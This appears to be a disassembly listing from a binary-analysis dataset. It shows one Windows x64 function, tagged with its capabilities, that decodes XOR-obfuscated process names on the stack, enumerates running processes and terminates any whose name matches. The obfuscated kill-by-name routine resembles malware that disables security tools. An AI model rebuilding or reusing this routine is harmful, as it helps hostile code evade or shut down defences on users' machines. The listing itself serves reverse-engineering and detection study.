Function at 0x1400533c0
Capabilities:
Encode data using xor
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov byte [rsp + 0x4a], 0xae
xor r15d, r15d
mov byte [rsp + 0x4b], 0xa4
movabs r11, 0x1f60845c1a9287c6
mov byte [rsp + 0x4c], 0xbb
mov r10, r11
mov byte [rsp + 0x4d], 0xa4
mov r9d, r15d
mov byte [rsp + 0x4e], 0xb8
lea esi, [r15 + 0xf]
mov byte [rsp + 0x4f], 0xa3
mov byte [rsp + 0x50], 0xa2
mov byte [rsp + 0x51], 0xe2
mov byte [rsp + 0x52], 0xa7
mov byte [rsp + 0x53], 0xb2
mov byte [rsp + 0x54], 0xb1
mov byte [rsp + 0x55], reloc.WLDAP32.dll_Ordinal_217
movzx eax, byte [rsp + 0x4a]
lea rax, [rsp + 0x4a]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rsp + 0x4a]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x4a], al
inc r9
cmp r9, 0xc
jb 0x140053450
lea rax, [rsp + 0x4a]
mov r10, r11
mov qword [rbp - 0x60], rax
mov r9, r15
mov byte [rsp + 0x56], 0xb0
mov byte [rsp + 0x57], 0xb9
mov byte [rsp + 0x58], 0xa0
mov byte [rsp + 0x59], 0xa2
mov byte [rsp + 0x5a], 0xad
mov byte [rsp + 0x5b], 0xba
mov byte [rsp + 0x5c], 0xb6
mov byte [rsp + 0x5d], 0xe2
mov byte [rsp + 0x5e], 0xa7
mov byte [rsp + 0x5f], 0xb2
mov byte [rsp + 0x60], 0xb1
mov byte [rsp + 0x61], reloc.WLDAP32.dll_Ordinal_217
movzx eax, byte [rsp + 0x56]
lea rax, [rsp + 0x56]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rsp + 0x56]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x56], al
inc r9
cmp r9, 0xc
jb 0x1400534f0
lea rax, [rsp + 0x56]
mov r10, r11
mov qword [rbp - 0x58], rax
mov r9, r15
mov byte [rsp + 0x62], 0xaf
mov byte [rsp + 0x63], 0xa7
mov byte [rsp + 0x64], 0xa3
mov byte [rsp + 0x65], 0xb8
mov byte [rsp + 0x66], 0xac
mov byte [rsp + 0x67], 0xa0
mov byte [rsp + 0x68], 0xa1
mov byte [rsp + 0x69], 0xe2
mov byte [rsp + 0x6a], 0xa7
mov byte [rsp + 0x6b], 0xb2
mov byte [rsp + 0x6c], 0xb1
mov byte [rsp + 0x6d], reloc.WLDAP32.dll_Ordinal_217
movzx eax, byte [rsp + 0x62]
lea rax, [rsp + 0x62]
sub r10, rax
nop dword [rax]
nop word [rax + rax]
mov rcx, r9
lea rdx, [rsp + 0x62]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x62], al
inc r9
cmp r9, 0xc
jb 0x140053590
lea rax, [rsp + 0x62]
movabs r11, 0x892291223bfa85ac
mov qword [rbp - 0x50], rax
mov r10, r11
mov byte [rsp + 0x20], 0xc9
mov r9, r15
mov byte [rsp + 0x21], 0xc3
mov byte [rsp + 0x22], 0xca
mov byte [rsp + 0x23], Ordinal_217
mov byte [rsp + 0x24], __WSAFDIsSet
mov byte [rsp + 0x25], 0xdb
mov byte [rsp + 0x26], 0xc1
mov byte [rsp + 0x27], Ordinal_217
mov byte [rsp + 0x28], 0xb6
movzx eax, byte [rsp + 0x20]
lea rax, [rsp + 0x20]
sub r10, rax
nop dword [rax]
mov rcx, r9
lea rdx, [rsp + 0x20]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x20], al
inc r9
cmp r9, 9
jb 0x140053620
lea rax, [rsp + 0x20]
movabs rbx, 0xd6824b0d7879acf0
mov qword [rbp - 0x48], rax
mov r10, rbx
mov byte [rsp + 0x29], 0x99
mov r9, r15
mov byte [rsp + 0x2a], 0x9a
mov byte [rsp + 0x2b], 0x9f
mov byte [rsp + 0x2c], 0x88
mov byte [rsp + 0x2d], 0xcb
mov byte [rsp + 0x2e], Ordinal_200
mov byte [rsp + 0x2f], Ordinal_211
mov byte [rsp + 0x30], __WSAFDIsSet
mov byte [rsp + 0x31], Ordinal_143
mov byte [rsp + 0x32], 0x9c
mov byte [rsp + 0x33], 0xf1
movzx eax, byte [rsp + 0x29]
lea rax, [rsp + 0x29]
sub r10, rax
nop word [rax + rax]
mov rcx, r9
lea rdx, [rsp + 0x29]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, rbx
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x29], al
inc r9
cmp r9, 0xb
jb 0x1400536c0
lea rax, [rsp + 0x29]
movabs rdi, 0x18fd9fb21882c770
mov qword [rbp - 0x40], rax
mov r11, rdi
mov byte [rbp + 0x270], Ordinal_41
mov r10, r15
mov byte [rbp + 0x271], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x272], 0x5b
mov byte [rbp + 0x273], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x274], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x275], Ordinal_26
mov byte [rbp + 0x276], 0x7e
movzx eax, byte [rbp + 0x270]
lea rax, [rbp + 0x270]
sub r11, rax
nop word [rax + rax]
mov rcx, r10
lea r8, [rbp + 0x270]
add r8, r10
and ecx, esi
cmp rcx, rsi
mov rdx, rdi
cmovae rcx, rsi
movsx r9, byte [r8]
lea eax, [r8 + r11]
shl cl, 2
shr rdx, cl
and dl, sil
xor dl, al
xor dl, r9b
mov byte [rbp + r10 + 0x270], dl
inc r10
cmp r10, 7
jb 0x140053760
lea rax, [rbp + 0x270]
movabs r11, 0xb733788841421de4
mov qword [rbp - 0x38], rax
mov r10, r11
mov byte [rbp - 0x80], 0xa9
mov r9, r15
mov byte [rbp - 0x7f], 0x86
mov byte [rbp - 0x7e], 0x86
mov byte [rbp - 0x7d], 0x93
mov byte [rbp - 0x7c], 0x84
mov byte [rbp - 0x7b], 0x84
mov byte [rbp - 0x7a], 0x9f
mov byte [rbp - 0x79], __WSAFDIsSet
mov byte [rbp - 0x78], 0xa0
mov byte [rbp - 0x77], 0x80
mov byte [rbp - 0x76], 0x84
mov byte [rbp - 0x75], 0x9d
mov byte [rbp - 0x74], __WSAFDIsSet
mov byte [rbp - 0x73], __WSAFDIsSet
mov byte [rbp - 0x72], 0x90
mov byte [rbp - 0x71], 0x8a
mov byte [rbp - 0x70], 0xde
mov byte [rbp - 0x6f], 0x9e
mov byte [rbp - 0x6e], 0x83
mov byte [rbp - 0x6d], 0x93
mov byte [rbp - 0x6c], 0xfa
movzx eax, byte [rbp - 0x80]
lea rax, [rbp - 0x80]
sub r10, rax
nop word [rax + rax]
mov rcx, r9
lea rdx, [rbp - 0x80]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x80], al
inc r9
cmp r9, 0x15
jb 0x140053820
lea rax, [rbp - 0x80]
mov r10, rbx
mov qword [rbp - 0x30], rax
mov r9, r15
mov byte [rsp + 0x34], 0x88
mov byte [rsp + 0x35], reloc.WLDAP32.dll_Ordinal_200
mov byte [rsp + 0x36], 0xca
mov byte [rsp + 0x37], 0x9d
mov byte [rsp + 0x38], 0x9f
mov byte [rsp + 0x39], __WSAFDIsSet
mov byte [rsp + 0x3a], Ordinal_211
mov byte [rsp + 0x3b], __WSAFDIsSet
mov byte [rsp + 0x3c], Ordinal_143
mov byte [rsp + 0x3d], 0x9c
mov byte [rsp + 0x3e], 0xf1
movzx eax, byte [rsp + 0x34]
lea rax, [rsp + 0x34]
sub r10, rax
nop dword [rax + rax]
mov rcx, r9
lea rdx, [rsp + 0x34]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, rbx
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x34], al
inc r9
cmp r9, 0xb
jb 0x1400538b0
lea rax, [rsp + 0x34]
mov r10, rbx
mov qword [rbp - 0x28], rax
mov r9, r15
mov byte [rsp + 0x3f], 0x87
mov byte [rsp + 0x40], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rsp + 0x41], 0x90
mov byte [rsp + 0x42], 0x9d
mov byte [rsp + 0x43], 0x9f
mov byte [rsp + 0x44], __WSAFDIsSet
mov byte [rsp + 0x45], Ordinal_211
mov byte [rsp + 0x46], __WSAFDIsSet
mov byte [rsp + 0x47], Ordinal_143
mov byte [rsp + 0x48], 0x9c
mov byte [rsp + 0x49], 0xf1
movzx eax, byte [rsp + 0x3f]
lea rax, [rsp + 0x3f]
sub r10, rax
nop dword [rax]
mov rcx, r9
lea rdx, [rsp + 0x3f]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, rbx
cmovae rcx, rsi
movsx r8, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x3f], al
inc r9
cmp r9, 0xb
jb 0x140053940
lea rax, [rsp + 0x3f]
movabs r11, 0xd88659ee0bd819ee
mov qword [rbp - 0x20], rax
mov r10, r11
mov byte [rsp + 0x6e], 0x8a
mov r9, r15
mov byte [rsp + 0x6f], Ordinal_143
mov byte [rsp + 0x70], 0x9c
mov byte [rsp + 0x71], 0x92
mov byte [rsp + 0x72], __WSAFDIsSet
mov byte [rsp + 0x73], 0x86
mov byte [rsp + 0x74], 0x9c
mov byte [rsp + 0x75], 0x9a
mov byte [rsp + 0x76], __WSAFDIsSet
mov byte [rsp + 0x77], Ordinal_143
mov byte [rsp + 0x78], 0x83
mov byte [rsp + 0x79], __WSAFDIsSet
mov byte [rsp + 0x7a], 0x90
mov byte [rsp + 0x7b], 0xdd
mov byte [rsp + 0x7c], 0x91
mov byte [rsp + 0x7d], 0x88
mov byte [rsp + 0x7e], __WSAFDIsSet
mov byte [rsp + 0x7f], 0xf1
movzx eax, byte [rsp + 0x6e]
lea rax, [rsp + 0x6e]
sub r10, rax
nop word [rax + rax]
mov rcx, r9
lea rdx, [rsp + 0x6e]
add rdx, r9
and ecx, esi
cmp rcx, rsi
mov rax, r11
cmovae rcx, rsi
movzx r8d, byte [rdx]
add dl, r10b
shl cl, 2
shr rax, cl
and al, sil
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x6e], al
inc r9
cmp r9, 0x12
jb 0x140053a00
lea rax, [rsp + 0x6e]
mov qword [rbp - 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rbp + 0x120], 0x130
mov r8d, Ordinal_301
lea rcx, [rbp + 0x124]
mov r14, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x120]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140053b78
nop dword [rax]
lea rbx, [rbp - 0x60]
nop dword [rax]
nop dword [rax + rax]
mov rdi, qword [rbx]
lea rcx, [rbp + 0x14c]
mov rdx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140053add
add rbx, 8
lea rax, [rbp - 0x10]
cmp rbx, rax
jne 0x140053aa0
lea rdx, [rbp + 0x120]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140053a90
jmp 0x140053b78
xor edx, edx
mov ecx, esi
mov r15d, 1
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rbp - 0x10], 0x130
mov r8d, Ordinal_301
lea rcx, [rbp - 0xc]
mov rsi, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140053b6f
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140053b48
mov r8d, dword [rbp - 8]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140053b5b
lea rdx, [rbp - 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140053b20
jmp 0x140053b6f
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x350]
mov eax, r15d
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret